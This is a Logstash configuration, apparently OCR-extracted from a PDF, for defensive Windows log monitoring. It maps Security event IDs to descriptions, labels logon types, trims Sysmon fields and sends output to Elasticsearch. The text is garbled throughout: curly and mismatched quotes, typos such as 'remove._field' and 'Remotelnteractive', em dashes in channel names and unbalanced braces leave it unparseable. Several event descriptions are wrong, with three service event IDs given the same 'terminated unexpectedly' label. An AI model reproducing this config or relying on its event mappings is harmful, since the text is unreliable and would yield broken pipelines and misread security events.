"4698" => "Scheduled task created”

"4699"=> " A scheduled task was deleted”

"4700" => "Scheduled task was enabled”

"4720"=> " A user account was created.”

"4722"=> " A user account was enabled.”

"4723"=> " An attempt was made to change an account's password.

"4724" => " An attempt was made to reset an account’s password.”

"4725"=> " A user account was disabled”

"4726"=> " A user account was deleted "

"4738"=> "A user account was changed"

"4781"=> "The name of an account was changed”

"4800" => " The workstation was locked.”

"4801"=> "The workstation was unlocked.”

"4802" => "The screen saver was invoked."”

"4803" => "The screen saver was dismissed.”

"4964" => "Special groups have been assigned to a new logon”

"5154" => "The Windows Filtering Platform has permitted an
application or service to listen on a port for incoming connections”

"5158"=> "The Windows Filtering Platform has permitted a bind
to a local port”

"5379"=> "Credential Manager credentials were read”

"7034" => "The service terminated unexpectedly”

"7036" => " The service terminated unexpectedly”

"7045" => "The service terminated unexpectedly”

"11707"=> " A install completes successfully .”

"11724" => " A software package is removed successfully.”

}

#TIPOS DE LOGIN ref:https: //www.ultimatewindowssecurity.com/securitylog/book/page.
aspx?spid=chapter3
filter {
if "beat” in [tags] and [winlog][channel]=="Security” and [winlog][event_data ][
LogonType]=="2"{
mutate{
add_field => {"Type” => "Interactive — Keyboard" }

}

else if [winlog][event_data][LogonType]=="3"{



mutate{
add_field => {"Type” => "Network Logon”}

}
}
else if [winlog][event_data][LogonType]=="4"{
mutate{
add_field => {"Type” => "Batch — Scheduled Task" }
}
}
else if [winlog][event_data|[LogonType]=="5"{
mutate{
add_field => {"Type” => "Service Account”}
}
}
else if [winlog][event_data][LogonType]=="7"{
mutate{
add_field => {"Type” => "Unlock System”}
}
}
else if [winlog][event_data][LogonType]=="8"{
mutate{
add_field => {"Type” => "NetworkCleartext” }
}
}
else if [winlog][event_data][LogonType]=="9"{
mutate{
add_field => {"Type" => "NewCredentials" }
}
}
else if [winlog][event_data][LogonType]=="10"{
mutate{
add_field => {"Type" => "Remotelnteractive" }
}
}
else if [winlog][event_data][LogonType]=="11"{
mutate{
add_field => {"Type” => " CachedInteractive” }
}
}
else if [winlog][event_data][LogonType]=="0"{
mutate{
add_field => {"Type” => "System Account”}
}
}
}
filter {

if "beat” in [tags] and [winlog][channel]=="Microsoft—Windows—Sysmon/
Operational” and [winlog][event_id] == 1{
mutate{
remove._field => ["[hash]"]
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remove_field =>["[message]"]

}
if "beat” in [tags] and [winlog][ channel]=="Microsoft—Windows—Sysmon/
Operational” and [winlog][event_id] == 2{
mutate{
remove_field => ["[hash]"]
remove_field =>["[message]"]

}
if "beat” in [tags] and [winlog][channel]=="Microsoft—Windows—Sysmon/
Operational” and [winlog][event_id] == 3{
mutate{
remove_field => ["[hash]"]

remove_field =>["[message]"]

}
cidr {
add_field => { "IPDestination” => "Private” }
address => [ " %{[winlog][event_data][ Destinationlp]}" ]

}
if "beat” in [tags] and [winlog][channel]=="Microsoft—Windows—Sysmon/
Operational” and [winlog][event_id] == 11{
mutate{
remove_field => ["[hash]"]

remove_field =>["[message]"]

output {

elasticsearch  {

manage_template => false

hosts => ["localhost:9200"]

index => " %{[@metadata][beat]}— %{[@metadata][version]}"

}
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